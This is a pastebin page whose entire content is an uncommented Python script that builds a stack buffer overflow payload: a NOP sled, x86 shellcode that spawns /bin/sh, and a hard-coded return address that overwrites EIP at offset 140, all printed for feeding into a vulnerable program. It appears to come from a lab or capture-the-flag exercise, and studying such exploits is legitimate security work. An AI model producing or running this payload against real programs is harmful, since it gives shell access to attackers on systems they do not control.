Advertisement
Guest User

Untitled

a guest
Feb 16th, 2019
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.42 KB | None | 0 0
  1. EIP_OFFSET = 140
  2.  
  3. SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73"
  4. SHELLCODE += "\x68\x68\x2f\x62\x69\x6e\x89"
  5. SHELLCODE += "\xe3\x89\xc1\x89\xc2\xb0\x0b"
  6. SHELLCODE += "\xcd\x80\x31\xc0\x40\xcd\x80" # http://shell-storm.org/shellcode/files/shellcode-811.php
  7.  
  8. NOP_SLED = '\x90' * (EIP_OFFSET - len(SHELLCODE))
  9.  
  10. RET = '\x40\xd5\xff\xff' # 0x ff ff d5 40
  11.  
  12. buf = ''
  13. buf += NOP_SLED
  14. buf += SHELLCODE
  15. buf += RET
  16.  
  17. print(buf)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement